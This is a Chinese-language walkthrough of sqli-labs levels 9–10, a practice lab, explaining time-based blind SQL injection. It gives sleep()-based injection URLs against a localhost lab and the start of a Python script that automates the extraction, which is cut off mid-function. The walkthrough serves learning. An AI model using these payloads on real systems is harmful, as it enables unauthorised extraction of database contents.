sqli-labs第九关&第十关(延时盲注)

刚开始进入这一关时对这一关进行了常规的注入过程，并未发现有可以利用的地方，然后怎么办呢？去作弊嘛，看了看标题，第九关叫"time based-single quotes"基于时间—单引号，于是乎，就去试了试时间盲注，使用单引号闭合，请求如下：

http://localhost:90/sqli-labs-master/Less-9/?id=1' and (select sleep(3))--+

然后发现这个请求延时了3S

进行到这里，就有了一套完整的思路，时间盲注和之前的布尔盲注思路差不多，布尔盲注靠UI界面的变化判断真假，延时盲注靠请求的延时发出判断真假，先手工注入一个：

http://localhost:90/sqli-labs-master/Less-8/?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(2),1)--+

可以看到，请求被延时了2S，可行
这里使用的if(expr1,expr2,expr3)，expr1为真则执行2，为假则执行3，加上sleep方法即可让我们判断条件的真假，requests库中elapsed方法可返回响应时间，使用elapsed.total_seconds()得到响应时间单位为S，知道这些就可以写个简单的脚本自动注入，代码如下：

import requests


# 获取数据库名长度
def database_len():
    for i in range(1, 10):
        url = f"http://localhost:90/sqli-labs-master/Less-9/?id=1' and if(length(database())>{
     i},1,sleep(2))"
        r = requests.get(url + '%23')
        if r.elapsed.total_seconds()>2:
            print('database_length:', i)
            return i


#获取数据库名
def database_name(